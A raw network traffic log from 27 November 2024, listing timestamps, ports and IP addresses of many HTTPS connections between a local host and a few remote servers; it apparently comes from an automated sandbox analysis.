Nov 27, 2024 04:07:29.430623055 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.430725098 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.430725098 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.430754900 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.430918932 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.476959944 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.476989985 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.477082968 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.477082968 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.477107048 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.477225065 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.619155884 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.619185925 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.619651079 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.619678974 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.619832993 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.650791883 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.650825024 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.651009083 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.651009083 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.651037931 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.651210070 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.668756962 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.668775082 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.669039965 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.669048071 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.669373035 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.689596891 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.689615965 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.689764023 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.689771891 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.690006971 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.831490040 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.831522942 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.831895113 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.831911087 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.832039118 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.845504045 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.845526934 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.846123934 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.846138000 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.854202986 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.861800909 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.861820936 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.862104893 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.862116098 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.869735956 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.877938986 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.877959967 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.878223896 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.878232956 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.878360987 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.892030001 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.892081022 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.892338037 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.892348051 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.892541885 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.905886889 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.905940056 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.906152964 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.909027100 CET	49784	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.909040928 CET	443	49784	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.940696955 CET	49785	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.940704107 CET	49786	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.940737009 CET	443	49785	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.940747976 CET	443	49786	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.940839052 CET	49785	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.940841913 CET	49786	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.951147079 CET	49787	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.951174974 CET	443	49787	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.951802015 CET	49787	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.952677011 CET	49788	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.952680111 CET	49789	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.952706099 CET	443	49789	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.952727079 CET	443	49788	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.952790976 CET	49788	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.952795029 CET	49789	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.953003883 CET	49788	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.953016996 CET	443	49788	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.953124046 CET	49789	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.953138113 CET	443	49789	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.953264952 CET	49785	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.953284979 CET	443	49785	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.953378916 CET	49786	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.953397036 CET	443	49786	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:29.953622103 CET	49787	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:29.953633070 CET	443	49787	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.670692921 CET	443	49789	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.671255112 CET	49789	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:31.671271086 CET	443	49789	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.671852112 CET	49789	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:31.671857119 CET	443	49789	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.738298893 CET	443	49785	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.738784075 CET	49785	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:31.738812923 CET	443	49785	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.739435911 CET	49785	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:31.739444017 CET	443	49785	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.739897013 CET	443	49788	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.740253925 CET	49788	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:31.740283966 CET	443	49788	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.740777016 CET	49788	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:31.740784883 CET	443	49788	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.741213083 CET	443	49786	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.741606951 CET	49786	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:31.741621971 CET	443	49786	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.741874933 CET	443	49787	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.742052078 CET	49786	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:31.742058039 CET	443	49786	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.742250919 CET	49787	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:31.742285013 CET	443	49787	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:31.742693901 CET	49787	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:31.742701054 CET	443	49787	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.107777119 CET	443	49789	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.107949972 CET	443	49789	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.108010054 CET	49789	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.108155012 CET	49789	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.108171940 CET	443	49789	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.108184099 CET	49789	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.108189106 CET	443	49789	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.111943960 CET	49790	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.111989975 CET	443	49790	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.112051010 CET	49790	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.112245083 CET	49790	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.112260103 CET	443	49790	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.188376904 CET	443	49785	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.188397884 CET	443	49785	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.188471079 CET	49785	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.188503027 CET	443	49785	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.188546896 CET	49785	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.188780069 CET	49785	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.188785076 CET	443	49785	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.188801050 CET	49785	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.188945055 CET	443	49785	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.188981056 CET	443	49785	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.189021111 CET	49785	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.191257954 CET	443	49787	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.191278934 CET	443	49787	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.191339016 CET	49787	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.191348076 CET	443	49787	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.191368103 CET	443	49787	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.191394091 CET	49787	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.191399097 CET	443	49788	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.191415071 CET	49787	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.191436052 CET	443	49788	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.191478014 CET	49788	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.191497087 CET	443	49788	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.191514969 CET	443	49788	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.191554070 CET	443	49786	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.191564083 CET	49788	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.191639900 CET	49787	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.191656113 CET	443	49787	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.191664934 CET	49787	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.191668987 CET	443	49787	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.191726923 CET	443	49786	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.191771030 CET	49786	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.192116976 CET	49791	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.192146063 CET	443	49791	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.192203999 CET	49791	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.192414045 CET	49791	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.192434072 CET	443	49791	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.192464113 CET	49788	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.192482948 CET	443	49788	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.192495108 CET	49788	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.192500114 CET	443	49788	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.192723989 CET	49786	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.192745924 CET	443	49786	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.192764997 CET	49786	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.192770958 CET	443	49786	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.195561886 CET	49792	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.195579052 CET	443	49792	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.195743084 CET	49792	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.196202040 CET	49793	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.196218967 CET	443	49793	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.196335077 CET	49792	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.196336031 CET	49793	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.196347952 CET	443	49792	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.196378946 CET	49794	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.196386099 CET	443	49794	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.196466923 CET	49794	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.196472883 CET	49793	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.196485043 CET	443	49793	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:32.196640015 CET	49794	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:32.196652889 CET	443	49794	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:33.835722923 CET	443	49790	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:33.836205959 CET	49790	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:33.836241961 CET	443	49790	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:33.836637020 CET	49790	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:33.836642981 CET	443	49790	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:33.981851101 CET	443	49793	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:33.982887030 CET	49793	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:33.982942104 CET	443	49793	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:33.983642101 CET	49793	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:33.983649969 CET	443	49793	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:33.984787941 CET	443	49792	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:33.985125065 CET	443	49794	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:33.985460043 CET	49792	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:33.985475063 CET	443	49792	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:33.985996962 CET	49794	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:33.986004114 CET	443	49794	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:33.986157894 CET	49792	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:33.986162901 CET	443	49792	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:33.986927032 CET	49794	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:33.986932039 CET	443	49794	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.037156105 CET	443	49791	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.037585974 CET	49791	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.037604094 CET	443	49791	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.038013935 CET	49791	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.038029909 CET	443	49791	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.269592047 CET	443	49790	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.269778967 CET	443	49790	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.269845009 CET	49790	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.269911051 CET	49790	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.269927025 CET	443	49790	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.269939899 CET	49790	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.269946098 CET	443	49790	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.272950888 CET	49796	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.272972107 CET	443	49796	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.273046970 CET	49796	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.273251057 CET	49796	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.273266077 CET	443	49796	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.424968958 CET	443	49793	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.425045013 CET	443	49793	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.425113916 CET	49793	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.425292015 CET	49793	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.425314903 CET	443	49793	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.425328016 CET	49793	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.425335884 CET	443	49793	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.427906990 CET	443	49794	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.428059101 CET	443	49794	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.428114891 CET	49794	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.428144932 CET	49794	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.428164959 CET	443	49794	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.428177118 CET	49794	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.428183079 CET	443	49794	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.428291082 CET	49797	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.428325891 CET	443	49797	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.428395033 CET	49797	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.428528070 CET	49797	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.428536892 CET	443	49797	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.430372953 CET	49798	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.430402040 CET	443	49798	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.430615902 CET	49798	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.430615902 CET	49798	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.430645943 CET	443	49798	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.492763996 CET	443	49791	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.492822886 CET	443	49791	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.492873907 CET	49791	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.493007898 CET	49791	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.493021965 CET	443	49791	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.493033886 CET	49791	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.493040085 CET	443	49791	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.495018005 CET	49799	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.495031118 CET	443	49799	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.495238066 CET	49799	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.495238066 CET	49799	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:34.495258093 CET	443	49799	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:34.534521103 CET	49800	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:34.534555912 CET	443	49800	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:34.534631014 CET	49800	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:34.535260916 CET	49800	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:34.535274982 CET	443	49800	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:34.537255049 CET	49801	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:34.537276030 CET	443	49801	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:34.537332058 CET	49801	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:34.537548065 CET	49801	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:34.537560940 CET	443	49801	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:35.088874102 CET	443	49792	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:35.090630054 CET	443	49792	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:35.090701103 CET	49792	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:35.090743065 CET	49792	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:35.090759039 CET	443	49792	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:35.090770960 CET	49792	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:35.090776920 CET	443	49792	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:35.093991041 CET	49802	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:35.094031096 CET	443	49802	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:35.094096899 CET	49802	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:35.094254017 CET	49802	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:35.094269037 CET	443	49802	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:35.865909100 CET	443	49800	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:35.866183996 CET	49800	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:35.866209984 CET	443	49800	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:35.866554022 CET	443	49800	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:35.866899014 CET	49800	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:35.866964102 CET	443	49800	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:35.867162943 CET	49800	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:35.911336899 CET	443	49800	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:36.021826029 CET	49724	80	192.168.2.4	23.32.238.219
Nov 27, 2024 04:07:36.054675102 CET	443	49796	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.055165052 CET	49796	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.055200100 CET	443	49796	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.055911064 CET	49796	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.055916071 CET	443	49796	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.142083883 CET	80	49724	23.32.238.219	192.168.2.4
Nov 27, 2024 04:07:36.142322063 CET	49724	80	192.168.2.4	23.32.238.219
Nov 27, 2024 04:07:36.208478928 CET	443	49797	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.208973885 CET	49797	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.208997011 CET	443	49797	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.209486961 CET	49797	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.209495068 CET	443	49797	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.217932940 CET	443	49798	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.226468086 CET	49798	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.226495981 CET	443	49798	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.227063894 CET	49798	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.227076054 CET	443	49798	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.248648882 CET	443	49801	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:36.249017954 CET	49801	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:36.249030113 CET	443	49801	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:36.249360085 CET	443	49801	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:36.249762058 CET	49801	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:36.249819040 CET	443	49801	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:36.249921083 CET	49801	443	192.168.2.4	13.227.8.47
Nov 27, 2024 04:07:36.274218082 CET	443	49799	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.274611950 CET	49799	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.274632931 CET	443	49799	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.275129080 CET	49799	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.275135040 CET	443	49799	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.295331001 CET	443	49801	13.227.8.47	192.168.2.4
Nov 27, 2024 04:07:36.367799997 CET	443	49800	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:36.368331909 CET	49800	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:36.368392944 CET	443	49800	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:36.368437052 CET	49800	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:36.369240046 CET	49803	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:36.369267941 CET	443	49803	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:36.369318962 CET	49803	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:36.369788885 CET	49803	443	192.168.2.4	185.212.70.145
Nov 27, 2024 04:07:36.369802952 CET	443	49803	185.212.70.145	192.168.2.4
Nov 27, 2024 04:07:36.498430967 CET	443	49796	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.498509884 CET	443	49796	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.498574018 CET	49796	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.498848915 CET	49796	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.498872042 CET	443	49796	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.498883963 CET	49796	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.498888969 CET	443	49796	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.501899958 CET	49804	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.501948118 CET	443	49804	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.502068043 CET	49804	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.502242088 CET	49804	443	192.168.2.4	13.107.246.63
Nov 27, 2024 04:07:36.502259016 CET	443	49804	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.653065920 CET	443	49797	13.107.246.63	192.168.2.4
Nov 27, 2024 04:07:36.653134108 CET	443	49797	13.107.246.63	192.168.2.4
